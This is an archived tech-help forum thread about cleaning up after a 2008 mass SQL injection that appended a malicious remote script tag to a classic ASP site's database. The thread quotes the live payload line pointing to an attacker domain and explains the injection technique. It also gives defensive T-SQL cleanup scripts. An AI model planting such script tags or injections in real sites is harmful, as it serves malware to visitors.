Solved

Extremely Urgent - SQL injection attack

Posted on 2008-06-23
40
682 Views
Last Modified: 2010-04-21
We have inline SQL in classic ASP. We were running fine for the past 5 years, but we got hit with an injection attack on friday. Before we convert them to stored procedures, somebody help me with options available for damage control.

Below is the script that is getting injected into almost all of the fields in the database:

<script src=http://www.pingadw.com/b.js></script>
It is always added in the end of the data value. Can closing the sql string prevent this? For example
strsql = "insert into user values('" & username & '")" & ""
Can I do an automated text generator and ask the user to input the value to prevent this for time being?
I am in a blindspot here and any help is appreciated. I am willing to give away points as well.

Thanks a lot!!
0
Comment
Question by:newoffice
  • 16
  • 13
  • 4
  • +3
40 Comments
 
LVL 60

Expert Comment

by:chapmandew
ID: 21847371
0
 
LVL 142

Expert Comment

by:Guy Hengel [angelIII / a3]
ID: 21847408
strsql = "insert into user values('" & username & '")" & ""
should be:

strsql = "insert into user values('" & replace(username, "'", "''") & '")" & ""

to prevent the attack from being successful, but you should also test the length of the value of username...
0
 
LVL 82

Expert Comment

by:hielo
ID: 21847445
0
 
LVL 1

Expert Comment

by:jasonwisdom
ID: 21847748
I usually create a function to Replace ' with '':

Public Function FormatSQL(strSQL)
    FormatSQL = Replace(strSql, "'", "''")
End Function

I then convert any Varchar's with the FormatSQL function.
HTH.
0
 
LVL 1

Expert Comment

by:jasonwisdom
ID: 21847783
One other thing:
You can place this function into an include file, and include the include file into multiple pages (or all pages).  For Classic ASP apps, I usually have a master include (which contains extremely common Constants and Functions) that is included at the top of every .asp page, or you can put it in its own include file and include that file as needed.

Don't use .inc as an include file extension if you can help it - use .asp as that will help prevent people from viewing your include files as text by hardcode typing the include file's path.
0
 
LVL 82

Expert Comment

by:hielo
ID: 21847916
>>I usually create a function to Replace ' with '':
If the user is sending this to be inserted into the db:
<script src=http://www.pingadw.com/b.js></script>

then when the db is queried to obtain the content for his dynamic page, that <script> tag will end up in the source code of the page and subsequently will cause the browser to "fetch" the javascript file and execute it. What he needs to do is to filter out <script> tags from entering into the db. Stored procedures or not, escaped apostrophes or not, the injection here is due to the unfiltered <script> tag.
0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21847939
This matches the MO of an attackt that's been going around.  This code should put things right, provided you don't have any legitimate instances of the text '<script' in your database:


DECLARE @T varchar(255),@C varchar(255) 

DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 

WHILE(@@FETCH_STATUS=0) BEGIN 

exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], CHARINDEX(''<script'', ['+@C+']))

WHERE CHARINDEX(''<script'', ['+@C+']) >0')

FETCH NEXT FROM Table_Cursor INTO @T,@C 

END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

Open in new window

0
 
LVL 1

Author Comment

by:newoffice
ID: 21847988
dear jcoehoorn:,

can you explain a little bit more?
0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21848028
That's a modification of the same code that likely infected you in the first place.  It's a bit cryptic because I didn't take the time to change any variable names, but I've had a few people use it successfully to clean their systems.

What it does is query the sysobject and syscolumns tables to get a list of all char, nchar, varchar, and nvarchar columns in the database.  It then loops through the list with a cursor.  The original code appended the bad script.  The modification instead looks for '<script' and removes it and everything to the right in the column if it exists.  So you have any valid instances of '<script' in your data you'll want to tweak this some.  Otherwise it should fix you right up (though it may take a while to run if you have a lot of data).

All this is moot, though, if you don't first fix your web sites to sanitize your database inputs.  If you don't do that you'll be infected again by the end of the week.
0
 
LVL 1

Author Comment

by:newoffice
ID: 21848095
jcoehoorn: thanks for shedding some light. Looks like you are familiar with this.

At present we do have corrupt data sitting in our database. Does it spread from there? Should i clean this first before fixing my code?
0
 
LVL 1

Author Comment

by:newoffice
ID: 21848114
does doing kaptcha prevent this?

does inside login pages get affected as well?
0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21848146
The FIRST thing you should do is take down any web sites that depend on this database, because right now those sites are trying to infect your users with malware.  Perhaps put up a new plain html page that tells your users what is going on.

The SECOND thing you should do is go over your sites with a fine-toothed comb and fix anything that could pass an unsanitized input to your database.  The simplest version there is make sure any string value received from a form replaces single quote/apostrophe (') with two single quotes/apostrophes ('') before going to the database.  Even on select statements that don't make any changes.

The THIRD thing is to use the code I gave you to clean the bad stuff out of your database.

Then you can put the site back up live.
0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21848155
Capthas will not help, and inside login areas are still affected.
0
 
LVL 1

Author Comment

by:newoffice
ID: 21848175
jcoehoorn:

We are always deligent on replacing single quotes with double quotes. What we don't have is, the closing of the sql strings. Which is why i believe it is being appended in the end.. or is that the pattern of this type of attack?

My co-worker has a copy of the corrupt database for referencing to fix the issue. Does leaving the copy sitting in the database, affect the cleaned out database?
0
 
LVL 82

Expert Comment

by:hielo
ID: 21848269
>>make sure any string value received from a form replaces single quote/apostrophe (') with two single quotes/apostrophes ('') before going to the database.
again, this will not prevent someone from typing this into a textarea as a "Comment":
Great Site! <script src=http://www.pingadw.com/b.js></script>

the src attribute of a script tag does not have to be quoted. What you need to do is before you insert into your db, make sure you are removing it. You could even remove all HTML markup from the input

Function RemoveHTML( strText )
      Dim RegEx
      Set RegEx = New RegExp
      RegEx.Pattern = "<[^>]*>"
      RegEx.Global = True
      RemoveHTML = RegEx.Replace(strText, "")
End Function

"INSERT INTO Tablename (comments) VALUES( "  & Replace(RemoveHTML(Request("comment") ),"'","''") & " )"
0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21848329
Replacing ' with '' is only the first and most basic sql injection prevention.  What happens is that someone finds an unprotected form field on your site, and puts something like this in it:
';<sql code here>--

The single quote closes whatever literal the string would be included with, and the semi-colon then ends that statment.  Then they can include whatever sql they want and it will run in the same command (be it insert, update, delete, or even SELECT) that would have acted on a normal form field.  Finally, they comment out any remaining sql, since they want to try to avoid causing an error on the page that might be logged.  ASP is an old language now, and you only have to miss one field for this script to find every char or varchar column in your database.  Newer languages like ASP.Net provide some tools to prevent this automatically, if you use them.  

Keeping everything in stored procedures also helps _if you pass the value to the procedure as a parameter_.  If you pass the value to the procedure as dynamic sql, it will just run the procedure and then run your code.
0
 
LVL 1

Author Comment

by:newoffice
ID: 21848532
My co-worker has a copy of the corrupt database for referencing to fix the issue. Does leaving the copy sitting in the database, affect the cleaned out database?

Does it spread from one table to another?
0
 
LVL 142

Expert Comment

by:Guy Hengel [angelIII / a3]
ID: 21848561
>Does it spread from one table to another?
no, the injections updates all the tables/columns "at once"

@hielo:
>again, this will not prevent someone from typing this into a textarea as a "Comment":
>Great Site! <script src=http://www.pingadw.com/b.js></script>
however, it will prevent the sql injection to run some code in the database! which is the most important.
the second step however is indeed to control the data submitted.
0
 
LVL 1

Author Comment

by:newoffice
ID: 21848691
Capthas will not help, and inside login areas are still affected.

Can you explain how the internal pages are accessed? I know it has been a long thread.. I am willing to give as many points as you want.. please help! Desperately trying to understand as this is the first time we are being hit and we are down.

we were planning to do capthas.. how does it not work?
0
 
LVL 1

Author Comment

by:newoffice
ID: 21848714
no, the injections updates all the tables/columns "at once"

-- only some of the columns are affected. Does it mean they are vulnerable fields?
0
PRTG Network Monitor: Intuitive Network Monitoring

Network Monitoring is essential to ensure that computer systems and network devices are running. Use PRTG to monitor LANs, servers, websites, applications and devices, bandwidth, virtual environments, remote systems, IoT, and many more. PRTG is easy to set up & use.

 
LVL 142

Expert Comment

by:Guy Hengel [angelIII / a3]
ID: 21848735
>-- only some of the columns are affected. Does it mean they are vulnerable fields?
I should have written:
  all varchar, char, nvarchar, nchar columns large enough to hold the injected data, in tables the account that was able to run the injected query has UPDATE permissions on.

 so, int, dates, etc columns are not affected
 varchar... etc column too small (like varchar(10)) could not hold the new appended data...
 and tables where permissions where lacking neither
0
 
LVL 1

Author Comment

by:newoffice
ID: 21848777
how do i identify the vulnerable page?
0
 
LVL 1

Author Comment

by:newoffice
ID: 21848785
also can you explain why kaptchas will not help?
0
 
LVL 82

Expert Comment

by:hielo
ID: 21848787
@angeliii:
>>however, it will prevent the sql injection to run some code in the database! which is the most >>important. the second step however is indeed to control the data submitted.
Agree. I am NOT saying "Don't escape the apostrophes". What I am saying is clean your input. Given what was posted originally:
strsql = "insert into user values('" & username & '")" & ""

escaping the apostrophes prevents sql injection, but it seems to this is more of a script injection problem.
0
 
LVL 142

Expert Comment

by:Guy Hengel [angelIII / a3]
ID: 21848813
@hielo: agreed!

@newoffice:
>how do i identify the vulnerable page?
all pages where the code does not check the data, and does not handle the quotes.
0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21848866
> Can you explain how the internal pages are accessed?

If you have a vulnerable field _outside_ of your login area, the malicious sql script here will still infect _every_ vulnerable column in the database.  So pages inside your login area could still be used by the attacker to server up malicious code to your users, and your users are the real target here.

Page _inside_ your login area cannot be targeted by this script, but there's nothing stopping a different attacker who has a valid login from injecting something else on an internal page.  You still need to sanitize your fields - every field, always.  Leaving even ONE field open anywhere is enough for an attacker to do anything they want to your database.

I suppose Captchas could help in certain scenarios (provided the captcha code itself is secure and runs before anything else does), but since you'd need to include a captcha on _every_ page that accepted any input, and users hate captchas, you should save that as a fix of last resort.  Even then, you should still _sanitize anything that goes to the database_.

http://xkcd.com/327/
0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21848938
One more thing:  I've seen a few other people today (one of them in another EE question) with the same problem.  This is actually round two for this attack, and I wrote that procedure for round 1 back in april.  It looks like they may have changed the attack a little bit, meaning that code is a little out of date now- one other person who tried the code reported that it left the '<' character on the end.  I'm looking at that, and if it's the case it's a simple fix (just as a -1 to the right place in the script).

Actually, I think the error is because it's a different sql server version (7 or 2008) that uses charindex() differently.
0
 
LVL 1

Author Comment

by:newoffice
ID: 21855377
jcoehoorn:

I used your script to remove the script inserted.. but it is leaving "<" It has removed the rest. How do I remove it? As of now my brain is of no use. Just landed from india yesterday and trying to solve this with a baby in hand :(:(

please please reply.
0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21855676
This will clean the trailing < characters:

DECLARE @T varchar(255),@C varchar(255) 

DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 

WHILE(@@FETCH_STATUS=0) BEGIN 

exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], LEN(['+@C+'])-1 WHERE ['+@C+'] LIKE ''%>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C 

END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

Open in new window

0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21855683
Oops- there's a typo in there.  Used the other angle bracket.
DECLARE @T varchar(255),@C varchar(255) 

DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 

WHILE(@@FETCH_STATUS=0) BEGIN 

exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], LEN(['+@C+'])-1 WHERE ['+@C+'] LIKE ''%<''')

FETCH NEXT FROM Table_Cursor INTO @T,@C 

END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

Open in new window

0
 
LVL 1

Author Comment

by:newoffice
ID: 21855873
It says incorrect syntax near the keyword 'WHERE'
0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21856084
Not my day.  Missed a closing parentheses for LEFT() function::
DECLARE @T varchar(255),@C varchar(255) 

DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 

WHILE(@@FETCH_STATUS=0) BEGIN 

exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], LEN(['+@C+'])-1) WHERE ['+@C+'] LIKE ''%<''')

FETCH NEXT FROM Table_Cursor INTO @T,@C 

END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

Open in new window

0
 
LVL 1

Author Comment

by:newoffice
ID: 21856568
ok this is what i have now
Must declare the scalar variable "@T".
0
 
LVL 1

Author Comment

by:newoffice
ID: 21856608
sorry my bad
0
 
LVL 1

Author Comment

by:newoffice
ID: 21857927
jcoehoorn:
I was able to remove the script from the data. One final thing...

what do i have to change in your original script to remove the "<" as well? Think almost there to close the question.
0
 
LVL 18

Accepted Solution

by:
jcoehoorn earned 500 total points
ID: 21858018
Here's the corrected original script.  Just need to adjust the returned charindex by 1 so it also strips out that '<':
DECLARE @T varchar(255),@C varchar(255) 

DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 

WHILE(@@FETCH_STATUS=0) BEGIN 

exec('update ['+@T+'] set ['+@C+']=LEFT(['+@C+'], CHARINDEX(''<script'', ['+@C+'])-1)

WHERE CHARINDEX(''<script'', ['+@C+']) >0')

FETCH NEXT FROM Table_Cursor INTO @T,@C 

END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

Open in new window

0
 
LVL 1

Author Comment

by:newoffice
ID: 21858365
Thanks jcoehoorn: You saved my day and lot of trouble. We are still being attacked but atleast I can clear them out. you deserve more than 500 points. I will open up couple of other questions.. just answer them and I will accept

again thanks a ton
0
 
LVL 1

Author Closing Comment

by:newoffice
ID: 31469803
Thanks agian!!!
0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21858659
Don't worry- I probably won't see them, but it's okay.  I don't do this for points.
0
 
LVL 18

Expert Comment

by:jcoehoorn
ID: 21860897
I just saw this run past my newsreader, and since it's relevant I'm posting here:
http://news.cnet.com/8301-10789_3-9976521-57.html?part=rss&subj=news&tag=2547-1_3-0-5
0

Featured Post

Highfive + Dolby Voice = No More Audio Complaints!

Poor audio quality is one of the top reasons people don’t use video conferencing. Get the crispest, clearest audio powered by Dolby Voice in every meeting. Highfive and Dolby Voice deliver the best video conferencing and audio experience for every meeting and every room.

Join & Write a Comment

If I have to fix slow responding website my first thoughts are server side optimizations: the database may not be optimized or caching is not enabled, or things like that. We often overlook another major part of our web application: the client. We o…
For both online and offline retail, the cross-channel business is the most recent pattern in the B2C trade space.
Viewers will learn how to use the INSERT statement to insert data into their tables. It will also introduce the NULL statement, to show them what happens when no value is giving for any given column.
Use Wufoo, an online form creation tool, to make powerful forms. Learn how to selectively show certain fields based on user input using rules to gather relevant information and data from your forms. The rules feature provides you with an opportunity…

762 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

20 Experts available now in Live!

Get 1:1 Help Now